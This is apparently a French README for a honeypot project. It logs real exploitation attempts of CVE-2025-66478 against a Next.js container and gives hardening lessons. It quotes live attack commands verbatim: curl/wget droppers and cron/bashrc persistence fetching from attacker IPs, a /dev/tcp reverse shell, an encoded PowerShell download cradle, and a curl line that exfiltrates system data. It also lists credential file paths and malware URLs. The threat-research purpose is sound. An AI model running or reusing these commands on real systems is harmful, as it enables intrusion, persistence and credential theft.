
Analyse de logs d'attaques réelles de CVE-2025-66478 (Next.js Server Actions RCE) avec des échantillons de malware, suivi d'IP d'attaquants, et leçons de durcissement de la sécurité des conteneurs.
Ce projet collecte des journaux d'attaques réelles enregistrés par une application Next.js 15.1.2 exposée sur Internet (s'exécutant dans un conteneur Docker). Ces journaux montrent comment la vulnérabilité CVE-2025-66478 est massivement scannée et exploitée par des outils automatisés.
Période d'enregistrement: 2025-12-04 ~ 2025-12-06 (environ 48 heures)
Informations sur l'environnement:
Les attaquants tentent d'exécuter des commandes de téléchargement et d'exécution de logiciels malveillants via la vulnérabilité.
| IP source de l'attaque | URL de la charge malveillante | Description |
|---|---|---|
| 216.158.232.43 | http://216.158.232.43:12000/sex.sh | Botnet/mineur de crypto-monnaie |
| 38.207.161.212 | http://38.207.161.212/agent | Programme agent malveillant |
| 43.156.63.124 | http://43.156.63.124/tsd | Installation d'une porte dérobée cron |
| 154.38.121.219 | res.qiqigece.top/nginx3 | Programme malveillant déguisé en nginx |
| 47.79.42.91 | iot.632313373.xyz/nz.sh | Script de botnet IoT |
| 47.79.65.237 | sup001.oss-cn-hongkong.aliyuncs.com/python1.sh | Porte dérobée/mineur |
| 103.135.101.15 | http://103.135.101.15/wocaosinm.sh | Script malveillant |
| 38.12.24.231 | http://38.12.24.231/kworker | Programme malveillant déguisé en kernel worker |
| 128.199.194.97 | http://128.199.194.97:9001/setup2.sh | Script d'initialisation |
# Attaque dropper typique
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a
# Installation d'une porte dérobée persistante via cron
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd
# Attaque persistante complexe (tentative de plusieurs méthodes de téléchargement + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
mkdir -p $d;
if [ -w $d ]; then
p="$d/$n";
(curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
chmod +x $p;
nohup $p >/dev/null 2>&1 &
(crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
fi;
done
Les attaquants tentent d'établir une connexion shell inversée pour obtenir un accès interactif.
# Shell inversé Bash
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"
Les attaquants supposent que la cible est un système Windows et tentent d'exécuter des commandes PowerShell.
# PowerShell malveillant encodé en Base64
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA
# Après décodage :
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')
# Calculs mathématiques pour confirmer la vulnérabilité
powershell -c "41*271" # = 11111 (code de vérification)
powershell -c "44225*41002" # = 1814113450
Les attaquants tentent de collecter des informations système pour des attaques ultérieures.
# Collecte d'informations système et exfiltration
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`
Les attaquants tentent de lire divers fichiers sensibles et identifiants.
Variables d'environnement du conteneur exfiltrées avec succès via la vulnérabilité :
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0
Les attaquants utilisent des requêtes DNS pour exfiltrer des données ou confirmer la vulnérabilité :
ping 5a58e4a0.log.dnslog.pp.ua.
La plupart des attaques échouent en raison de la nature allégée du conteneur Alpine Linux :
| Outil manquant | Impact |
|---|---|
curl | Impossible de télécharger les charges utiles malveillantes |
Bien que wget soit disponible, certains scripts malveillants dépendent toujours de curl ou bash en interne, ce qui entraîne leur échec.
Les journaux contiennent de nombreuses données encodées en Base64. Voici quelques résultats de décodage :
# digest: 'cm9vdAo='
Décodé : root
# digest: 'dGVzdAo='
Décodé : test
# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
Décodé : vulnerability_test
# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
Décodé : uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# Contenu du répertoire /tmp
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==
Décodé :
total 20
drwxrwxrwt 1 root root 4096 Dec 5 18:00 .
drwxr-xr-x 1 root root 4096 Dec 4 13:36 ..
-rwxr-xr-x 1 root root 9848 Dec 5 18:00 INSTALL
Voici les adresses IP sources des attaques enregistrées :
Les attaquants tentent d'appeler des Server Actions inexistantes :
Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"
Les attaquants utilisent le champ digest dans les messages d'erreur pour exfiltrer des données :
Error: x
digest: 'cm9vdAo=' // Base64 encodé de 'root'
curl, bash, python, etc., qui pourraient être détournés--read-onlyCe projet est uniquement destiné à des fins éducatives et de recherche en cybersécurité. Toutes les attaques enregistrées sont de véritables tentatives d'attaque contre un pot de miel de recherche. Veuillez ne pas utiliser ces informations à des fins illégales.
Ce projet contient de véritables échantillons de logiciels malveillants extraits et téléchargés à partir des journaux d'attaque. Pour une analyse détaillée, voir :
MIT License
| Catégorie | Chemin |
|---|
| Identifiants cloud | /root/.aws/credentials, /root/.aws/config |
/root/.config/gcloud/credentials.db | |
/root/.config/gcloud/application_default_credentials | |
| Clés SSH | /root/.ssh/id_rsa, /root/.ssh/config |
| Identifiants Git | /root/.git-credentials, /root/.gitconfig |
| Conteneur/K8s | /root/.docker/config, /root/.kube/config |
/var/lib/kubelet/config.yaml | |
| Applications | /proc/self/cwd/serviceAccountKey.json (Firebase) |
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma | |
| Historique Shell | /root/.bash_history, /root/.zsh_history |
| Outils cloud | /root/.ossutilconfig (Alibaba Cloud OSS) |
/root/.npmrc | |
| Configuration système | /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow |
bash |
| Impossible d'exécuter certaines syntaxes spécifiques à bash (comme les shells inversés) |
powershell | Attaques Windows inefficaces |
python | Impossible d'utiliser le téléchargeur Python |
| Adresse IP | Pays/Région (estimé) | Type d'attaque |
|---|
| 216.158.232.43 | États-Unis | Dropper |
| 38.165.44.205 | États-Unis | Dropper |
| 23.95.44.80 | États-Unis | Dropper |
| 154.38.121.219 | Hong Kong | Malware (nginx3) |
| 38.207.161.212 | États-Unis | Agent |
| 43.156.63.124 | Chine | Porte dérobée cron |
| 47.79.42.91 | Chine (Alibaba Cloud) | Botnet IoT |
| 47.79.65.237 | Chine (Alibaba Cloud) | Mineur |
| 119.45.243.154 | Chine (Tencent Cloud) | Mineur |
| 144.22.210.54 | Brésil | Dropper |
| 217.60.249.228 | Suède | Dropper |
| 154.26.192.32 | États-Unis | Shell inversé |
| 156.234.209.103 | Inconnu | Charge PowerShell |
| 38.60.212.106 | États-Unis | Collecte d'informations |
| 103.135.101.15 | Vietnam | Botnet |
| 128.199.194.97 | Singapour (DigitalOcean) | Script de configuration |
| 38.12.24.231 | États-Unis | Programme malveillant persistant |
| Fichier | Type | Taille | Source | Niveau de menace |
|---|
| nz.sh | Script Shell | 931 B | iot.632313373.xyz | Moyen |
| tsd.sh | Script Shell | 1.7 KB | 43.156.63.124 | Élevé |
| tsd | ELF 64-bit | 6.8 MB | 43.156.63.124 | Élevé |
| init.sh | Script Shell | 6.1 KB | AWS S3 | Critique |
| agent | ELF 64-bit | 23.7 MB | AWS S3 | Critique |
| Agtisx.exe | PE32+ (Windows) | 24.0 MB | AWS S3 | Critique |